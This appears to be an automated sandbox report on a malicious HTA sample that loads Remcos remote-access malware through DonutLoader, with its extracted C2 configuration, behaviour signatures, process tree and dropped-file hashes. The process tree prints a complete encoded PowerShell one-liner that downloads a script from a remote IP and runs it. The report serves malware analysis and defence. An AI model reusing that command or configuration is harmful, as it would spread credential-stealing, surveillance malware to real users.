Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/10/2026, 12:18

General

  • Target
    czxc.hta
  • Size 14KB
  • Sample261006-pg3bzagt4z
  • SHA256 b77ed548a95a5fa20f0fa6b6eab27e2c2c7b9a2e39f14a6188103bb011555739
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • INDE

C2
  • 154.12.117.217:2408

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-HXEGVP

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects DonutLoader 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\czxc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c pOweRSHeLl -eX bYpAss -NOp -w 1 -eC IAAgAAkAIAAJACAAIAAgACAACQAgACAAdwBHAEUAVAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQA3ADIALgAyADQANQAuADEANQA1AC4AOQA3AC8AMwA0AC8AZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkALQBPAFUAdABmAGkAbABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBOAFYAOgBhAHAAUABkAEEAVABhAFwAZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACYAIAAJACAACQAgAAkACQAgAAkAIAAgAB0gJABlAG4AdgA6AEEAUABwAGQAYQB0AGEAXABnAG8AbwBkAHQAaABpAG4AZwBzAGYAbwByAG0AZQBiAGUAcwB0AC4ASgBTAB0g "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1452
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOweRSHeLl -eX bYpAss -NOp -w 1 -eC IAAgAAkAIAAJACAAIAAgACAACQAgACAAdwBHAEUAVAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMQA3ADIALgAyADQANQAuADEANQA1AC4AOQA3AC8AMwA0AC8AZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkALQBPAFUAdABmAGkAbABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBOAFYAOgBhAHAAUABkAEEAVABhAFwAZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACYAIAAJACAACQAgAAkACQAgAAkAIAAgAB0gJABlAG4AdgA6AEEAUABwAGQAYQB0AGEAXABnAG8AbwBkAHQAaABpAG4AZwBzAGYAbwByAG0AZQBiAGUAcwB0AC4ASgBTAB0g "
        3⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:812
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodthingsformebest.JS"
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Users\Admin\Documents\XESOSSFTKYRAAJJB.exe
            "C:\Users\Admin\Documents\XESOSSFTKYRAAJJB.exe" C:\Users\Admin\Documents\BJJAARYKTFSSOSEX
            5⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook profiles
            • Enumerates connected drives
            • Reads the TCP/IP host and domain name from the registry
            • outlook_office_path
            PID:3500

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Login Data For Account.tmp

        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp
        • Size 40KB
        • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_naelirtt.ys4.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_naelirtt.ys4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        goodthingsformebest.JS

        • Path C:\Users\Admin\AppData\Roaming\goodthingsformebest.JS
        • Size 4.5MB
        • SHA256 6eac5ca75de8bfaf62e5f17e80b6b32a5039f4f7209c91fb79867e5ffea8bdc9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BJJAARYKTFSSOSEX

        • Path C:\Users\Admin\Documents\BJJAARYKTFSSOSEX
        • Size 1.1MB
        • SHA256 afd978360c760e99bbb154f58d5181a7deb5d95f2fb0904ee4bf161a2838826f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        XESOSSFTKYRAAJJB.exe

        • Path C:\Users\Admin\Documents\XESOSSFTKYRAAJJB.exe
        • Size 467KB
        • SHA256 52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/812-0-0x0000000002EF0000-0x0000000002F00000-memory.dmp

        memory/812-1-0x0000000002E50000-0x0000000002E86000-memory.dmp

        memory/812-2-0x0000000002EF0000-0x0000000002F00000-memory.dmp

        memory/812-3-0x0000000005580000-0x0000000005BA8000-memory.dmp

        memory/812-4-0x0000000005490000-0x00000000054B2000-memory.dmp

        memory/812-6-0x0000000005C90000-0x0000000005CF6000-memory.dmp

        memory/812-5-0x0000000005BB0000-0x0000000005C16000-memory.dmp

        memory/812-14-0x0000000005F00000-0x0000000006254000-memory.dmp

        memory/812-15-0x0000000006410000-0x000000000642E000-memory.dmp

        memory/812-16-0x0000000006460000-0x00000000064AC000-memory.dmp

        memory/812-17-0x0000000007A60000-0x00000000080DA000-memory.dmp

        memory/812-18-0x0000000006980000-0x000000000699A000-memory.dmp

        memory/812-19-0x0000000002EF0000-0x0000000002F00000-memory.dmp

        memory/812-20-0x0000000002EF0000-0x0000000002F00000-memory.dmp

        memory/3500-58-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-87-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-38-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-39-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-42-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-44-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-43-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-41-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-40-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-45-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-46-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-47-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-48-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-52-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-51-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-50-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-49-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-53-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-54-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-55-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-59-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-36-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-57-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-56-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-71-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-92-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-91-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-90-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-93-0x0000000016270000-0x0000000017270000-memory.dmp

        memory/3500-89-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-88-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-37-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-82-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-85-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-84-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-83-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-78-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-81-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-80-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-79-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-75-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-77-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-76-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-72-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-74-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-73-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-70-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-69-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-68-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-67-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-66-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-65-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-64-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-63-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-62-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-61-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-86-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-60-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3500-94-0x0000000002C60000-0x0000000002D0F000-memory.dmp

        memory/3500-95-0x0000000180000000-0x000000018012C000-memory.dmp

        memory/3500-99-0x0000000180000000-0x000000018012C000-memory.dmp

        memory/3500-98-0x0000000180000000-0x000000018012C000-memory.dmp

        memory/3500-106-0x0000000000400000-0x000000000047B000-memory.dmp